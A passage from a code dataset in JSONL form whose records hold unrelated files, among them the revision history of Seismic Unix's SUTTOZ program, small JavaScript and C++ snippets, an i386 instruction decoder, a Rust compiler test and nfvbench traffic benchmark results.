fz;\n\n\t\t/* resample */\n\t\tmemcpy((void *) temp, (const void *) tr.data,nt*sizeof(float));\n\t\tints8r(nt,dt,ft,temp,0.0,0.0,nz,tz,tr.data);\n\n\t\t/* put this trace before getting another */\n\t\tputtr(&tr);\n\n\t} while(gettr(&tr));\n\n\treturn(CWP_Exit());\n}\n\nstatic void maketz (int nt, float dt, float ft, float v[], \n\tint nz, float dz, float fz, float t[])\n/************************************************************************\nmaketz - compute t(z) from v(t)\n*************************************************************************\nInput:\nnt\tnumber of time samples\ndt\ttime sampling interval\nft\tfirst time sample\nv[]\tarray of velocities as a function of time t\nnz\tnumber of z values (output)\ndz\tdepth sampling interval (output)\nfz\tfirst depth value (output)\nOutput:\nt[]\tarray of t values as a function of z\n*************************************************************************\nAuthor: CWP: Dave Hale (c. 1992)\n*************************************************************************/\n{\n\tint it;\t\t\t/* counter */\n\tfloat vft;\t\t/* velocity at the first time sample */\n\tfloat vlt;\t\t/* velocity at the last time sample */\n\tfloat *z=NULL;\t\t/* array of depth values as a function of t */\n\n\t/* allocate space */\n\tz = ealloc1float(nt);\n\n\t/* calculate z(t) from v(t) */\n\tz[0] = 0.5*ft*v[0];\n\tfor (it=1; it=zt[nt-1]; iz--,z-=dz)\n\t\ttz[iz] = lt+2.0*(z-zt[nt-1])/vlt;\n}\n@\n\n\n1.19\nlog\n@copyright\n@\ntext\n@d135 1\n@\n\n\n1.18\nlog\n@fixed TRID_DEPTH error\n@\ntext\n@d1 4\na4 1\n/* SUTTOZ: $Revision: 1.17 $ ; $Date: 2008/01/21 16:44:13 $\t\t*/\n@\n\n\n1.17\nlog\n@added stuff to the selfdoc.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.16 $ ; $Date: 2005/08/31 20:09:24 $\t\t*/\nd156 1\na156 1\n\t\ttr.trid = 30;\n@\n\n\n1.16\nlog\n@small selfdoc change\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.15 $ ; $Date: 2005/08/30 00:16:27 $\t\t*/\nd30 2\na31 1\n\" equaling the number of v values.\t\t\t\t\t\",\n@\n\n\n1.15\nlog\n@small change in verbose\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.14 $ ; $Date: 2005/08/29 20:25:59 $\t\t*/\nd40 2\n@\n\n\n1.14\nlog\n@added more documentation.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.13 $ ; $Date: 2005/08/29 19:54:27 $\t\t*/\nd21 1\na21 1\n\" verbose=1\t\t>0 to print depth sampling information\t\t\",\nd128 1\na128 1\n\tif (!getparint(\"verbose\",&verbose)) verbose = 1;\nd133 8\na140 8\n\t\tfprintf(stderr,\"Input:\\n\");\n\t\tfprintf(stderr,\"\\tnumber of time samples = %d\\n\",nt);\n\t\tfprintf(stderr,\"\\ttime sampling interval = %g\\n\",dt);\n\t\tfprintf(stderr,\"\\tfirst time sample = %g\\n\",ft);\n\t\tfprintf(stderr,\"Output:\\n\");\n\t\tfprintf(stderr,\"\\tnumber of depth samples = %d\\n\",nz);\n\t\tfprintf(stderr,\"\\tdepth sampling interval = %g\\n\",dz);\n\t\tfprintf(stderr,\"\\tfirst depth sample = %g\\n\",fz);\n@\n\n\n1.13\nlog\n@cosmetic\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.12 $ ; $Date: 2004/07/01 18:58:51 $\t\t*/\na169 1\n/* compute t(z) from v(t) */\nd172 16\nd189 4\na192 2\n\tint it;\n\tfloat vft,vlt,*z;\nd194 1\nd196 2\nd203 2\na208 1\n/* compute t(z) from z(t) */\nd211 18\nd230 4\na233 2\n\tint iz;\n\tfloat z,lt=ft+(nt-1)*dt,lz=fz+(nz-1)*dz;\nd235 1\nd237 2\nd241 2\n@\n\n\n1.12\nlog\n@oops. missing ; from previous edit.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.11 $ ; $Date: 2004/07/01 18:58:11 $\t\t*/\nd15 7\na21 7\n\" nz= number of depth samples\t\t\t\",\n\" dz=vmin*dt/2 depth sampling interval (defaults avoids aliasing)\",\n\" fz=v(ft)*ft/2 first depth sample\t\t\t\t\",\n\" t=0.0 times corresponding to interval velocities in v\",\n\" v=1500.0 interval velocities corresponding to times in v\",\n\" vfile= binary (non-ascii) file containing velocities v(t)\",\n\" verbose=1 >0 to print depth sampling information\t\",\nd24 1\nd46 1\na46 1\n *\tCWP: Dave Hale\n@\n\n\n1.11\nlog\n@comments added to declared variables and selfdoc improvement\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.10 $ ; $Date: 2003/06/04 17:05:44 $\t\t*/\nd81 1\na81 1\n\tfloat *temp=NULL\t/* temporary storage array */\n@\n\n\n1.10\nlog\n@added a couple of items to the selfdoc\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.9 $ ; $Date: 1996/02/22 15:56:23 $\t\t*/\nd38 4\na46 2\n * Trace header fields accessed: ns, dt, and delrt\n * Trace header fields modified: trid, ns, d1, and f1\nd61 22\na82 3\n\tint nt,it,nz,ntpar,nvpar,itpar,verbose;\n\tfloat dt,ft,dz,fz,t,vmin,vmax,*tpar,*vpar,*vt,*tz,*temp;\n\tchar *vfile=\"\";\n@\n\n\n1.9\nlog\n@Using CHECK_NT to check output number of samples against SU_NFLTS.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.8 $ ; $Date: 1996/02/07 15:52:39 $\t\t*/\nd25 6\nd145 1\na145 1\n\treturn EXIT_SUCCESS;\n@\n\n\n1.8\nlog\n@Deal with header fields accessed/modified down to sudoc.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.7 $ ; $Date: 1995/08/04 15:49:55 $\t\t*/\nd50 1\nd101 1\n@\n\n\n1.7\nlog\n@Changed cast of tr.dt to double for consistency.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.6 $ ; $Date: 1994/08/25 15:01:29 $\t\t*/\na31 3\n\"\t\t\t\t\t\t\t\t\t\",\n\" Trace header fields accessed: ns, dt, and delrt\t\t\t\",\n\" Trace header fields modified: trid, ns, d1, and f1\t\t\t\",\nd36 3\nd129 1\na129 1\n\t\tmemcpy( (void *) temp, (const void *) tr.data,nt*sizeof(float));\n@\n\n\n1.6\nlog\n@Removed copyright statement from codes that had it.\nMoved self-doc line for sudoc.\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.5 $ ; $Date: 93/11/29 14:43:50 $\t\t*/\nd63 1\na63 1\n\tdt = (float) tr.dt/1000000.0;\nd75 1\na75 1\n\t\tif (nvpar!=ntpar) err(\"number of t and v values must be equal\");\n@\n\n\n1.5\nlog\n@changed bcopy to memcpy\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.4 $ ; $Date: 93/11/24 16:23:04 $\t\t*/\na2 13\n/*----------------------------------------------------------------------\n * Copyright (c) Colorado School of Mines, 1990.\n * All rights reserved.\n *\n * This code is part of SU. SU stands for Seismic Unix, a processing line\n * developed at the Colorado School of Mines, partially based on Stanford\n * Exploration Project (SEP) software. Inquiries should be addressed to:\n *\n * Jack K. Cohen, Center for Wave Phenomena, Colorado School of Mines,\n * Golden, CO 80401 (jkc@@dix.mines.colorado.edu)\n *----------------------------------------------------------------------\n */\n\na35 1\n/**************** end self doc *******************************************/\nd40 1\n@\n\n\n1.4\nlog\n@added explicit cast\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.3 $ ; $Date: 92/10/26 13:48:17 $\t\t*/\nd142 1\na142 1\n\t\tbcopy(tr.data,temp,nt*sizeof(float));\n@\n\n\n1.3\nlog\n@new selfdoc installed\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.2 $ ; $Date: 91/09/05 08:52:19 $\t\t*/\nd76 1\na76 1\n\tdt = tr.dt/1000000.0;\n@\n\n\n1.2\nlog\n@string -> String and so forth\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.1 $ ; $Date: 91/06/19 13:53:37 $\t\t*/\nd21 28\na48 28\nString sdoc =\n\"\\n\"\n\"SUTTOZ - resample from time to depth\\n\"\n\"\\n\"\n\"suttoz stdout [optional parms]\\n\"\n\"\\n\"\n\"Optional Parameters:\\n\"\n\"nz= number of depth samples\\n\"\n\"dz=vmin*dt/2 depth sampling interval (defaults avoids aliasing)\\n\"\n\"fz=v(ft)*ft/2 first depth sample\\n\"\n\"t=0.0 times corresponding to interval velocities in v\\n\"\n\"v=1500.0 interval velocities corresponding to times in v\\n\"\n\"vfile= binary (non-ascii) file containing velocities v(t)\\n\"\n\"verbose=1 >0 to print depth sampling information\\n\"\n\"\\n\"\n\"Notes:\\n\"\n\"The t and v arrays specify an interval velocity function of time.\\n\"\n\"Linear interpolation and constant extrapolation is used to determine\\n\"\n\"interval velocities at times not specified. Values specified in t\\n\"\n\"must increase monotonically.\\n\"\n\"\\n\"\n\"Alternatively, interval velocities may be stored in a binary file\\n\"\n\"containing one velocity for every time sample. If vfile is specified,\\n\"\n\"then the t and v arrays are ignored.\\n\"\n\"\\n\"\n\"Trace header fields accessed: ns, dt, and delrt\\n\"\n\"Trace header fields modified: trid, ns, d1, and f1\\n\"\n\"\\n\";\nd52 1\na52 1\n *\tCWP: Dave\nd71 1\na71 1\n\taskdoc(1);\n@\n\n\n1.1\nlog\n@Initial revision\n@\ntext\n@d1 1\na1 1\n/* SUTTOZ: $Revision: 1.0 $ ; $Date: 91/06/19 12:37:52 $\t\t*/\nd21 1\na21 1\nstring sdoc =\n@\n"} +{"text": "\n\n\n\n\n\n\n\n\n\n \n\t\n\t\n\t\n\t\n\t\n \n\n \n \n\t\n\t\n \n\n \n \n\t\n\t\n \n\n \n \n\t\n \n\n \n \n\t\n \n\n \n \n\t\n\t\n \n\n\n\n\n"} +{"text": "\n\n\n\n \n \n\n\n\n\n

    \n\n \n\n\n\n\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n#import \n\n@class NSString;\n\n@interface MPSNNTensorFlowPoolingPadding : MPSNNDefaultPadding \n{\n}\n\n+ (BOOL)supportsSecureCoding;\n- (id)initWithCoder:(id)arg1;\n- (id)label;\n- (id)init;\n- (id)destinationImageDescriptorForSourceImages:(id)arg1 sourceStates:(id)arg2 forKernel:(id)arg3 suggestedDescriptor:(id)arg4;\n\n// Remaining properties\n@property(readonly, copy) NSString *debugDescription;\n@property(readonly, copy) NSString *description;\n@property(readonly) unsigned long long hash;\n@property(readonly) Class superclass;\n\n@end\n\n"} +{"text": "var f = function () {\n var f = 2;\n};\n\nvar g = function (g) {\n g;\n};\n\nvar obj = {\n f: function (f) {\n f;\n }\n};\n"} +{"text": "\r\n\r\n\r\nAdd Product Form\r\n\r\n\r\n\r\n
    \r\n

    Create PDF\r\n Please use this form to enter the text\r\n

    \r\n \r\n \r\n
    \r\n\r\n"} +{"text": "\n#include \"PlayerProtocol.h\"\n#include \"base/ccMacros.h\"\n\nPLAYER_NS_BEGIN\n\nUSING_NS_CC;\n\nPlayerProtocol *PlayerProtocol::_instance = nullptr;\n\nPlayerProtocol::PlayerProtocol()\n{\n CCASSERT(_instance == nullptr, \"CAN NOT CREATE MORE PLAYER INSTANCE\");\n _instance = this;\n}\n\nPlayerProtocol::~PlayerProtocol()\n{\n _instance = nullptr;\n}\n\nPlayerProtocol *PlayerProtocol::getInstance()\n{\n return _instance;\n}\n\nvoid PlayerProtocol::purgeInstance()\n{\n if (_instance) delete _instance;\n}\n\nvoid PlayerProtocol::setPlayerSettings(const PlayerSettings &settings)\n{\n _settings = settings;\n}\n\nPlayerSettings PlayerProtocol::getPlayerSettings() const\n{\n return _settings;\n}\n\nstatic void glfwDropFunc(GLFWwindow *window, int count, const char **files)\n{\n EventCustom forwardEvent(\"APP.EVENT\");\n stringstream buf;\n buf << \"{\";\n buf << \"\\\"name\\\":\\\"drop\\\",\";\n buf << \"\\\"data\\\":[\";\n for (int i = 0; i < count; i++)\n {\n buf << \"\\\"\" << files[i] << \"\\\"\";\n if (i < count - 1)\n buf << \",\";\n }\n buf << \"]\";\n buf << \"}\";\n \n forwardEvent.setDataString(buf.str());\n Director::getInstance()->getEventDispatcher()->dispatchEvent(&forwardEvent);\n}\n\nvoid PlayerProtocol::registerGLFWEvents()\n{\n#if (CC_TARGET_PLATFORM == CC_PLATFORM_MAC)\n// glfwSetDropCallback(cocos2d::Director::getInstance()->getOpenGLView()->getWindow(), glfwDropFunc);\n#endif\n}\n\nPLAYER_NS_END\n"} +{"text": "/*\n** $Id$\n**\n*/\n#include \n#include \n\n/*\n \n*/\n\n\nint i386_jle(asm_instr *new, u_char *opcode, u_int len, asm_processor *proc)\n{\n new->type = ASM_TYPE_BRANCH | ASM_TYPE_CONDCONTROL;\n new->instr = ASM_BRANCH_S_LESS_EQUAL;\n new->len += 1;\n\n#if LIBASM_USE_OPERAND_VECTOR\n new->len += asm_operand_fetch(&new->op[0], opcode + 1, ASM_CONTENT_JUMP, new);\n#else\n new->op[0].content = ASM_CONTENT_JUMP;\n new->op[0].type = ASM_OPTYPE_MEM;\n new->op[0].memtype = ASM_OP_VALUE | ASM_OP_ADDRESS;\n new->op[0].ptr = opcode + 1;\n new->op[0].len = 4;\n memcpy(&new->op[0].imm, opcode + 1, 4);\n new->len += 4;\n#endif\n return (new->len);\n}\n"} +{"text": "function unique(arr) {\n return Array.from(new Set(arr));\n}\n"} +{"text": "// check-pass\n\nconst unsafe fn ret_i32_no_unsafe() -> i32 { 42 }\nconst unsafe fn ret_null_ptr_no_unsafe() -> *const T { std::ptr::null() }\nconst unsafe fn ret_null_mut_ptr_no_unsafe() -> *mut T { std::ptr::null_mut() }\nconst fn no_unsafe() { unsafe {} }\n\nconst fn call_unsafe_const_fn() -> i32 {\n unsafe { ret_i32_no_unsafe() }\n}\nconst fn call_unsafe_generic_const_fn() -> *const String {\n unsafe { ret_null_ptr_no_unsafe::() }\n}\nconst fn call_unsafe_generic_cell_const_fn()\n -> *const Vec>\n{\n unsafe { ret_null_mut_ptr_no_unsafe::>>() }\n}\n\nconst unsafe fn call_unsafe_const_unsafe_fn() -> i32 {\n unsafe { ret_i32_no_unsafe() }\n}\nconst unsafe fn call_unsafe_generic_const_unsafe_fn() -> *const String {\n unsafe { ret_null_ptr_no_unsafe::() }\n}\nconst unsafe fn call_unsafe_generic_cell_const_unsafe_fn()\n -> *const Vec>\n{\n unsafe { ret_null_mut_ptr_no_unsafe::>>() }\n}\n\nconst unsafe fn call_unsafe_const_unsafe_fn_immediate() -> i32 {\n ret_i32_no_unsafe()\n}\nconst unsafe fn call_unsafe_generic_const_unsafe_fn_immediate() -> *const String {\n ret_null_ptr_no_unsafe::()\n}\nconst unsafe fn call_unsafe_generic_cell_const_unsafe_fn_immediate()\n -> *const Vec>\n{\n ret_null_mut_ptr_no_unsafe::>>()\n}\n\nfn main() {}\n"} +{"text": "{\n \"benchmarks\": {\n \"network\": {\n \"service_chain\": {\n \"EXT\": {\n \"result\": {\n \"bidirectional\": true,\n \"compute_nodes\": {},\n \"flow_count\": 1024,\n \"profile\": \"traffic_profile_2sizes\",\n \"result\": {\n \"64\": {\n \"iteration_stats\": {\n \"ndr_pdr\": [\n {\n \"drop_pct\": 1000882881,\n \"drop_percentage\": 86.7019327085323,\n \"rx_pkts\": 153512240,\n \"rx_pps\": 9444649.895714728,\n \"time_ms\": 1543403827977,\n \"total_tx_pps\": 38479837,\n \"tx_pkts\": 1154395121,\n \"tx_pps\": 71022726,\n \"warning\": \"WARNING: There is a significant difference between requested TX rate (71022726) and actual TX rate (38479837). The traffic generator may not have sufficient CPU to achieve the requested TX rate.\"\n },\n {\n \"drop_pct\": 911321424,\n \"drop_percentage\": 85.54270666868618,\n \"rx_pkts\": 154019456,\n \"rx_pps\": 5133981.77028471,\n \"time_ms\": 1543403860038,\n \"total_tx_pps\": 35511362,\n \"tx_pkts\": 1065340880,\n \"tx_pps\": 35511362\n },\n {\n \"drop_pct\": 376719640,\n \"drop_percentage\": 70.72283461837553,\n \"rx_pkts\": 155950808,\n \"rx_pps\": 5198359.79823202,\n \"time_ms\": 1543403892098,\n \"total_tx_pps\": 17755681,\n \"tx_pkts\": 532670448,\n \"tx_pps\": 17755680\n },\n {\n \"drop_pct\": 110270136,\n \"drop_percentage\": 41.40275966192862,\n \"rx_pkts\": 156065096,\n \"rx_pps\": 5202169.241629436,\n \"time_ms\": 1543403924159,\n \"total_tx_pps\": 8877841,\n \"tx_pkts\": 266335232,\n \"tx_pps\": 8877840\n },\n {\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"rx_pkts\": 133167616,\n \"rx_pps\": 4438920.0,\n \"time_ms\": 1543403956220,\n \"total_tx_pps\": 4438920,\n \"tx_pkts\": 133167616,\n \"tx_pps\": 4438920\n },\n {\n \"drop_pct\": 43346880,\n \"drop_percentage\": 21.700411006832173,\n \"rx_pkts\": 156404544,\n \"rx_pps\": 5213484.173603288,\n \"time_ms\": 1543403988281,\n \"total_tx_pps\": 6658380,\n \"tx_pkts\": 199751424,\n \"tx_pps\": 6658380\n },\n {\n \"drop_pct\": 10427208,\n \"drop_percentage\": 6.264110337456217,\n \"rx_pkts\": 156032312,\n \"rx_pps\": 5201076.441760736,\n \"time_ms\": 1543404020341,\n \"total_tx_pps\": 5548650,\n \"tx_pkts\": 166459520,\n \"tx_pps\": 5548650\n },\n {\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"rx_pkts\": 149813568,\n \"rx_pps\": 4993784.0,\n \"time_ms\": 1543404052403,\n \"total_tx_pps\": 4993785,\n \"tx_pkts\": 149813568,\n \"tx_pps\": 4993784\n },\n {\n \"drop_pct\": 1612568,\n \"drop_percentage\": 1.0197314037671141,\n \"rx_pkts\": 156523976,\n \"rx_pps\": 5217465.734692975,\n \"time_ms\": 1543404084464,\n \"total_tx_pps\": 5271218,\n \"tx_pkts\": 158136544,\n \"tx_pps\": 5271218\n },\n {\n \"drop_pct\": 61091,\n \"drop_percentage\": 0.03967590698586919,\n \"rx_pkts\": 153913965,\n \"rx_pps\": 5130463.63407395,\n \"time_ms\": 1543404116526,\n \"total_tx_pps\": 5132501,\n \"tx_pkts\": 153975056,\n \"tx_pps\": 5132500\n },\n {\n \"drop_pct\": 3477,\n \"drop_percentage\": 0.0022890915209996003,\n \"ndr_pps\": 2496892,\n \"rx_pkts\": 151890843,\n \"rx_pps\": 5063026.1000457825,\n \"time_ms\": 1543404148597,\n \"total_tx_pps\": 5063144,\n \"tx_pkts\": 151894320,\n \"tx_pps\": 5063142\n }\n ]\n },\n \"ndr\": {\n \"duration_sec\": 30.0,\n \"initial_rate_type\": \"rate_percent\",\n \"l2frame_size\": \"64\",\n \"load_percent_per_direction\": 7.03125,\n \"rate_bps\": 3515625000.0,\n \"rate_percent\": 14.0625,\n \"rate_pps\": 4993784,\n \"stats\": {\n \"0\": {\n \"avg_delay_usec\": 247,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 389,\n \"min_delay_usec\": 20,\n \"rx_pkts\": 74906784,\n \"tx_pkts\": 74906784\n },\n \"1\": {\n \"avg_delay_usec\": 245,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 384,\n \"min_delay_usec\": 30,\n \"rx_pkts\": 74906784,\n \"tx_pkts\": 74906784\n },\n \"overall\": {\n \"avg_delay_usec\": 246,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 389,\n \"min_delay_usec\": 20,\n \"rx_pkts\": 149813568,\n \"tx_pkts\": 149813568\n },\n \"total_tx_rate\": 4993785\n },\n \"time_taken_sec\": 352.67879915237427,\n \"timestamp_sec\": 1543404148.597552\n }\n },\n \"IMIX\": {\n \"iteration_stats\": {\n \"ndr_pdr\": [\n {\n \"drop_pct\": 338341307,\n \"drop_percentage\": 77.80907110763333,\n \"rx_pkts\": 96493992,\n \"rx_pps\": 3632299.560999568,\n \"time_ms\": 1543404180888,\n \"total_tx_pps\": 14494509,\n \"tx_pkts\": 434835299,\n \"tx_pps\": 16368398,\n \"warning\": \"WARNING: There is a significant difference between requested TX rate (16368398) and actual TX rate (14494509). The traffic generator may not have sufficient CPU to achieve the requested TX rate.\"\n },\n {\n \"drop_pct\": 147749488,\n \"drop_percentage\": 60.17646284498848,\n \"rx_pkts\": 97777552,\n \"rx_pps\": 3259237.13136971,\n \"time_ms\": 1543404212951,\n \"total_tx_pps\": 8184234,\n \"tx_pkts\": 245527040,\n \"tx_pps\": 8184198\n },\n {\n \"drop_pct\": 24351384,\n \"drop_percentage\": 19.835919431807742,\n \"rx_pkts\": 98412696,\n \"rx_pps\": 3280392.737649384,\n \"time_ms\": 1543404245011,\n \"total_tx_pps\": 4092136,\n \"tx_pkts\": 122764080,\n \"tx_pps\": 4092098\n },\n {\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"rx_pkts\": 61382560,\n \"rx_pps\": 2046048.0,\n \"time_ms\": 1543404277075,\n \"total_tx_pps\": 2046085,\n \"tx_pkts\": 61382560,\n \"tx_pps\": 2046048\n },\n {\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"rx_pkts\": 92073312,\n \"rx_pps\": 3069074.0,\n \"time_ms\": 1543404309132,\n \"total_tx_pps\": 3069110,\n \"tx_pkts\": 92073312,\n \"tx_pps\": 3069074\n },\n {\n \"drop_pct\": 9096808,\n \"drop_percentage\": 8.468552511086338,\n \"rx_pkts\": 98321880,\n \"rx_pps\": 3277362.194385394,\n \"time_ms\": 1543404341196,\n \"total_tx_pps\": 3580622,\n \"tx_pkts\": 107418688,\n \"tx_pps\": 3580586\n },\n {\n \"drop_pct\": 2240026,\n \"drop_percentage\": 2.2457301545926653,\n \"rx_pkts\": 97505974,\n \"rx_pps\": 3250163.290101057,\n \"time_ms\": 1543404373259,\n \"total_tx_pps\": 3324866,\n \"tx_pkts\": 99746000,\n \"tx_pps\": 3324830\n },\n {\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"rx_pkts\": 95909664,\n \"rx_pps\": 3196952.0,\n \"time_ms\": 1543404405320,\n \"total_tx_pps\": 3196988,\n \"tx_pkts\": 95909664,\n \"tx_pps\": 3196952\n },\n {\n \"drop_pct\": 658309,\n \"drop_percentage\": 0.6729261401132668,\n \"rx_pkts\": 97169515,\n \"rx_pps\": 3238946.6187896607,\n \"time_ms\": 1543404437381,\n \"total_tx_pps\": 3260927,\n \"tx_pkts\": 97827824,\n \"tx_pps\": 3260890\n },\n {\n \"drop_pct\": 24516,\n \"drop_percentage\": 0.02530847517201009,\n \"rx_pkts\": 96844220,\n \"rx_pps\": 3228104.809077306,\n \"time_ms\": 1543404469444,\n \"total_tx_pps\": 3228957,\n \"tx_pkts\": 96868736,\n \"tx_pps\": 3228922\n },\n {\n \"drop_pct\": 5295,\n \"drop_percentage\": 0.005493354939076982,\n \"ndr_pps\": 1598476,\n \"rx_pkts\": 96383889,\n \"rx_pps\": 3212759.502021555,\n \"time_ms\": 1543404501505,\n \"total_tx_pps\": 3212972,\n \"tx_pkts\": 96389184,\n \"tx_pps\": 3212936\n }\n ]\n },\n \"ndr\": {\n \"duration_sec\": 30.0,\n \"initial_rate_type\": \"rate_percent\",\n \"l2frame_size\": \"IMIX\",\n \"load_percent_per_direction\": 19.53125,\n \"rate_bps\": 9765625000.0,\n \"rate_percent\": 39.0625,\n \"rate_pps\": 3196952,\n \"stats\": {\n \"0\": {\n \"avg_delay_usec\": 247,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 626,\n \"min_delay_usec\": 10,\n \"rx_pkts\": 47954832,\n \"tx_pkts\": 47954832\n },\n \"1\": {\n \"avg_delay_usec\": 236,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 503,\n \"min_delay_usec\": 20,\n \"rx_pkts\": 47954832,\n \"tx_pkts\": 47954832\n },\n \"overall\": {\n \"avg_delay_usec\": 241,\n \"drop_pct\": 0,\n \"drop_percentage\": 0.0,\n \"max_delay_usec\": 626,\n \"min_delay_usec\": 10,\n \"rx_pkts\": 95909664,\n \"tx_pkts\": 95909664\n },\n \"total_tx_rate\": 3196988\n },\n \"time_taken_sec\": 352.67991185188293,\n \"timestamp_sec\": 1543404501.505931\n }\n }\n },\n \"service_chain_count\": 8\n }\n }\n },\n \"versions\": {\n \"Traffic_Generator\": {\n \"build_date\": \"Nov 13 2017\",\n \"build_time\": \"10:58:17\",\n \"built_by\": \"hhaim\",\n \"mode\": \"STL\",\n \"version\": \"v2.32\"\n }\n }\n }\n },\n \"config\": {\n \"availability_zone\": null,\n \"check_traffic_time_sec\": 200,\n \"compute_nodes\": null,\n \"config\": \"/tmp/nfvbench/nfvbench_config.cfg\",\n \"debug\": false,\n \"duration_sec\": 30.0,\n \"external_networks\": {\n \"left\": \"nfvbench-net0\",\n \"right\": \"nfvbench-net1\"\n },\n \"factory_class\": \"BasicFactory\",\n \"factory_module\": \"nfvbench.factory\",\n \"flavor\": {\n \"disk\": 0,\n \"extra_specs\": {\n \"hw:cpu_policy\": \"dedicated\",\n \"hw:mem_page_size\": \"large\"\n },\n \"ram\": 4096,\n \"vcpus\": 2\n },\n \"flavor_type\": \"nfvbench.medium\",\n \"flow_count\": 1024,\n \"fluentd\": [\n {\n \"ip\": \"127.0.0.1\",\n \"logging_tag\": null,\n \"port\": 24224,\n \"result_tag\": null\n }\n ],\n \"frame_sizes\": [\n \"64\",\n \"IMIX\"\n ],\n \"generator_profile\": \"trex-local\",\n \"generic_poll_sec\": 2,\n \"generic_retry_count\": 100,\n \"host\": \"0.0.0.0\",\n \"internal_networks\": {\n \"left\": {\n \"cidr\": \"172.16.10.0/24\",\n \"name\": \"nfvbench-net0\",\n \"network_type\": \"vlan\",\n \"physical_network\": null,\n \"segmentation_id\": null,\n \"subnet\": \"nfvbench-subnet0\"\n },\n \"middle\": {\n \"cidr\": \"192.168.3.0/24\",\n \"name\": \"nfvbench-net2\",\n \"network_type\": \"vlan\",\n \"physical_network\": null,\n \"segmentation_id\": null,\n \"subnet\": \"nfvbench-subnet2\"\n },\n \"right\": {\n \"cidr\": \"172.16.20.0/24\",\n \"name\": \"nfvbench-net1\",\n \"network_type\": \"vlan\",\n \"physical_network\": null,\n \"segmentation_id\": null,\n \"subnet\": \"nfvbench-subnet1\"\n }\n },\n \"interval_sec\": 10.0,\n \"json\": \"/tmp/nfvbench/csp_8c2n_ndr-1.json\",\n \"json_file\": \"/tmp/nfvbench/csp_8c2n_ndr-1.json\",\n \"l2_loopback\": false,\n \"log_file\": null,\n \"loop_vm_name\": \"nfvbench-loop-vm\",\n \"measurement\": {\n \"NDR\": 0.001,\n \"PDR\": 0.1,\n \"load_epsilon\": 0.1\n },\n \"name\": \"nfvbench_config.cfg\",\n \"ndr_run\": true,\n \"no_arp\": false,\n \"no_cleanup\": true,\n \"no_traffic\": false,\n \"no_vswitch_access\": false,\n \"openrc_file\": null,\n \"pause_sec\": 2.0,\n \"pdr_run\": false,\n \"port\": 7555,\n \"rate\": \"ndr\",\n \"service_chain\": \"EXT\",\n \"service_chain_count\": 8,\n \"service_chain_shared_net\": true,\n \"single_run\": false,\n \"sriov\": false,\n \"std_json\": null,\n \"std_json_path\": null,\n \"tg-name\": \"trex-local\",\n \"tg-tool\": \"TRex\",\n \"traffic\": {\n \"bidirectional\": true,\n \"profile\": \"traffic_profile_2sizes\"\n },\n \"traffic_generator\": {\n \"default_profile\": \"trex-local\",\n \"gateway_ip_addrs\": [\n \"172.16.10.10\",\n \"172.16.20.10\"\n ],\n \"gateway_ip_addrs_step\": \"0.0.0.1\",\n \"generator_profile\": [\n {\n \"cores\": 7,\n \"interfaces\": [\n {\n \"pci\": \"3b:00.0\",\n \"port\": 0,\n \"switch_port\": null\n },\n {\n \"pci\": \"3b:00.1\",\n \"port\": 1,\n \"switch_port\": null\n }\n ],\n \"intf_speed\": \"25Gbps\",\n \"ip\": \"127.0.0.1\",\n \"name\": \"trex-local\",\n \"software_mode\": false,\n \"tool\": \"TRex\"\n }\n ],\n \"host_name\": \"nfvbench_tg\",\n \"ip_addrs\": [\n \"172.16.64.0/18\",\n \"172.16.192.0/18\"\n ],\n \"ip_addrs_step\": \"0.0.0.1\",\n \"mac_addrs_left\": [\n \"52:54:00:00:00:aa\",\n \"52:54:01:00:00:aa\",\n \"52:54:02:00:00:aa\",\n \"52:54:03:00:00:aa\",\n \"52:54:04:00:00:aa\",\n \"52:54:05:00:00:aa\",\n \"52:54:06:00:00:aa\",\n \"52:54:07:00:00:aa\"\n ],\n \"mac_addrs_right\": [\n \"52:54:00:00:00:bb\",\n \"52:54:01:00:00:bb\",\n \"52:54:02:00:00:bb\",\n \"52:54:03:00:00:bb\",\n \"52:54:04:00:00:bb\",\n \"52:54:05:00:00:bb\",\n \"52:54:06:00:00:bb\",\n \"52:54:07:00:00:bb\"\n ],\n \"tg_gateway_ip_addrs\": [\n \"172.16.10.100\",\n \"172.16.20.100\"\n ],\n \"tg_gateway_ip_addrs_step\": \"0.0.0.1\",\n \"udp_dst_port\": 34101,\n \"udp_src_port\": 34100\n },\n \"traffic_profile\": [\n {\n \"l2frame_size\": [\n \"64\"\n ],\n \"name\": \"traffic_profile_64B\"\n },\n {\n \"l2frame_size\": [\n \"IMIX\"\n ],\n \"name\": \"traffic_profile_IMIX\"\n },\n {\n \"l2frame_size\": 